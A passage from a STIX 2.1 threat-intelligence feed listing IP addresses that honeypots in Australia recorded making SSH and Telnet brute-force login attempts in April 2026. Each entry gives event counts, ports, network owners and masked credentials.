      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.105.93.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4, d****y, v***s, c****e. Passwords observed (masked): 3***********4, 3**********4, !**********y, ***, ***.",
      "id": "indicator--6083f088-8256-4361-a7c0-0abad415ec99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.206.241.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--3eaccefe-d4d8-4666-bba4-40082d0cdf07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.38.30.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, d****y, c****e, d*****r. Passwords observed (masked): 3***********4, 3**********4, ***, ***, C*******!.",
      "id": "indicator--cba18040-5365-4eec-8db4-61ae958347c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '132.145.122.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--9f7f2a65-42aa-4cc0-b85b-3d91475de14a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.2.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9b66487a-17a1-4113-af7a-aee352f8c273",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.55.73.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b3fee87a-4dce-4c03-b7c7-a1e9e2a2253f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): G************1, U*********************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--88f9228b-9441-4526-9f1a-0231cd515d74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.84.109.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--af0ae3f5-d1b8-4651-b2ce-017a4dc58652",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:15:04.000Z",
      "valid_until": "2026-05-22T22:15:01.000Z"
    },
    {
      "created": "2026-04-20T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 213877. Organisation(s): U1 Digital Services Ltd.",
      "id": "indicator--d8b49f90-4ea5-4c0d-b944-fa550693bfe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.86.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T23:15:03.000Z",
      "valid_until": "2026-05-22T23:15:01.000Z"
    },
    {
      "created": "2026-04-20T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e438ee9b-e6cf-4075-89f9-f19034858dc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T23:15:03.000Z",
      "valid_until": "2026-05-22T23:15:01.000Z"
    },
    {
      "created": "2026-04-20T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--2479f579-ac35-46fa-a421-a46d167c82e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.113.77.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T23:15:03.000Z",
      "valid_until": "2026-05-22T23:15:01.000Z"
    },
    {
      "created": "2026-04-20T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--75d86fa0-df97-4eaa-8416-44169366af7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.124.183.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T23:15:03.000Z",
      "valid_until": "2026-05-22T23:15:01.000Z"
    },
    {
      "created": "2026-04-20T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--a8b1027b-c990-4ae9-ad85-371be0063db7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.188.146.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T23:15:03.000Z",
      "valid_until": "2026-05-22T23:15:01.000Z"
    },
    {
      "created": "2026-04-21T00:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--014d0db0-5154-422f-9be9-fc6954bac136",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.182.164.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T00:15:08.000Z",
      "valid_until": "2026-05-23T00:15:01.000Z"
    },
    {
      "created": "2026-04-21T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t, u****u, 3**********4, ***, d****y. Passwords observed (masked): 1****6, 1*********R, 1******x, 2****@, 3***********4.",
      "id": "indicator--fdfd811c-98bd-45da-8521-78cb15af2e70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.154.77.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T00:15:08.000Z",
      "valid_until": "2026-05-23T00:15:01.000Z"
    },
    {
      "created": "2026-04-21T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich. Usernames observed (masked): a***n, c****g. Passwords observed (masked): a***n, c****g.",
      "id": "indicator--c1796a6c-9c1a-4679-8b3a-e3cfc5f61dcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.20.210.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T01:15:12.000Z",
      "valid_until": "2026-05-23T01:15:08.000Z"
    },
    {
      "created": "2026-04-21T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cf8cf6e3-e29f-4204-8d63-c179eaad1233",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.147.153.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T01:15:12.000Z",
      "valid_until": "2026-05-23T01:15:08.000Z"
    },
    {
      "created": "2026-04-21T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NO. ASN(s): 15659. Organisation(s): NextGenTel AS.",
      "id": "indicator--6df14005-0769-4118-b39b-149d5e528bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.10.237.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T01:15:12.000Z",
      "valid_until": "2026-05-23T01:15:08.000Z"
    },
    {
      "created": "2026-04-21T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 273204. Organisation(s): COLOMBIA MAS TV S.A.S.",
      "id": "indicator--0f12df2b-c5f6-4e88-aec8-10accf8613b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.102.127.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:15:04.000Z",
      "valid_until": "2026-05-23T02:15:01.000Z"
    },
    {
      "created": "2026-04-21T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--49ff0146-0b39-41c0-9498-6849c3b12906",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:15:04.000Z",
      "valid_until": "2026-05-23T02:15:01.000Z"
    },
    {
      "created": "2026-04-21T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 46475. Organisation(s): Limestone Networks, Inc..",
      "id": "indicator--63ce6063-7a77-43f4-8ea9-9ac229669332",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '208.115.214.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:15:04.000Z",
      "valid_until": "2026-05-23T02:15:01.000Z"
    },
    {
      "created": "2026-04-21T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, h******!, r********6.",
      "id": "indicator--88d78d63-610b-419d-b70b-88054328cfe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.14.219.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:15:04.000Z",
      "valid_until": "2026-05-23T02:15:01.000Z"
    },
    {
      "created": "2026-04-21T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--985a1598-a917-4cd9-8bfc-88c3cc9676d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.232.226.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:15:04.000Z",
      "valid_until": "2026-05-23T02:15:01.000Z"
    },
    {
      "created": "2026-04-21T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T02:15:04.000Z",
      "valid_until": "2026-05-23T02:15:01.000Z"
    },
    {
      "created": "2026-04-21T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t, 3**********4, a****o, a*****r, c********r. Passwords observed (masked): 1**4, 1***5, 1******8, 1****R, 3***********4.",
      "id": "indicator--61ef19a6-c836-4b26-95f0-cadbf311f060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.195.239.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:15:04.000Z",
      "valid_until": "2026-05-23T03:15:02.000Z"
    },
    {
      "created": "2026-04-21T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, 3**********4, ***, u****u, ***. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1******1.",
      "id": "indicator--dfefb0a3-fdc0-4e5a-b6d0-ca52fec569f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.52.152.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:15:04.000Z",
      "valid_until": "2026-05-23T03:15:02.000Z"
    },
    {
      "created": "2026-04-21T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56042. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): u****u.",
      "id": "indicator--cb3a6cc1-da01-44f6-aa22-2e1a7dff74f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.52.249.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:15:04.000Z",
      "valid_until": "2026-05-23T03:15:02.000Z"
    },
    {
      "created": "2026-04-21T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 361. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, 3**********4, ***, u****u, ***. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1*****1.",
      "id": "indicator--df980c95-182f-4ddf-92eb-1df8e2808468",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.189.237.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:15:04.000Z",
      "valid_until": "2026-05-23T03:15:02.000Z"
    },
    {
      "created": "2026-04-21T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--73dcbc77-41ae-4c1a-b049-25456baaf307",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.221.215.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:15:04.000Z",
      "valid_until": "2026-05-23T03:15:02.000Z"
    },
    {
      "created": "2026-04-21T04:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401696. Organisation(s): cognetcloud INC.",
      "id": "indicator--9c2f0181-8341-4e3a-9c17-7fefe5466936",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T04:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.92.243.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:15:08.000Z",
      "valid_until": "2026-05-23T04:15:02.000Z"
    },
    {
      "created": "2026-04-21T04:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a50f5d1f-bb50-48f6-b925-89d9a1c9e158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T04:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.133.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:15:08.000Z",
      "valid_until": "2026-05-23T04:15:02.000Z"
    },
    {
      "created": "2026-04-21T04:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 54253. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--e8926302-16a7-4372-8589-eae736a08810",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T04:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.186.50.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:15:08.000Z",
      "valid_until": "2026-05-23T04:15:02.000Z"
    },
    {
      "created": "2026-04-21T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--741363b3-8722-4579-83cd-15eb094f7c40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.191.32.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T05:15:03.000Z",
      "valid_until": "2026-05-23T05:15:02.000Z"
    },
    {
      "created": "2026-04-21T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--364cbe47-554d-4c8a-856f-06c8d75208a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.80.72.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T05:15:03.000Z",
      "valid_until": "2026-05-23T05:15:02.000Z"
    },
    {
      "created": "2026-04-21T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--54815ebe-a635-431f-9126-b5f6486b0f43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '219.156.174.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T05:15:03.000Z",
